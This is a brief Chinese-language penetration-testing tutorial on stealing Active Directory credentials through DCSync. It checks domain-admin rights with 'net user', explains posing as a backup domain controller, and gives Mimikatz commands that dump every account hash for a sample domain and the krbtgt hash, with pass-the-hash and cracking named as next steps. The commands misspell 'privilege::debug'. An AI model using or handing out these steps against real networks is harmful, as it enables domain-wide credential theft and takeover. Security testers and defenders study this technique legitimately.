渗透测试——域管用户冒充备份域控获取ntds.dit

目录

 使用以下命令判断用户权限

 判断是域管用户

使用Mimikatz工具冒充备份域控进行获取ntds.dit

查看某用户的详细信息

---

 使用以下命令判断用户权限

#administrator是通过whoami获取的
net user administrator /domain

 判断是域管用户

使用Mimikatz工具冒充备份域控进行获取ntds.dit

1. 攻击者获得管理员及以上权限后，可以使用Mimikatz等工具模拟Active Directory域控制器
2. 然后攻击者使用DCSync命令，在目标域控制器上请求某个指定帐户的NTLM存储凭证密码哈希值，而无需提供该帐户的明文密码。但是攻击者需要知道目标帐户的名称，以及目标系统的域名和管理员凭据。
3. 目标域控制器接收到此请求后，将密码哈希值返回给攻击者。
4. 攻击者可以使用获得的密码哈希值来执行其他攻击，例如Pass-the-Hash攻击，这种攻击技术允许攻击者使用哈希值进行身份验证并获取对系统的访问权限，而无需知道实际的明文密码。此外，攻击者也可以尝试破解密码哈希值以获得明文密码。

mimikatz.exe "prvilege::debug" "lsadump::dcsync /domain:crazy.com /all /csv" "exit"

 成功读取hash

查看某用户的详细信息

mimikatz.exe  "prvilege::debug"  "lsadump::dcsync /domain:crazy.com /user:krbtgt" "exit"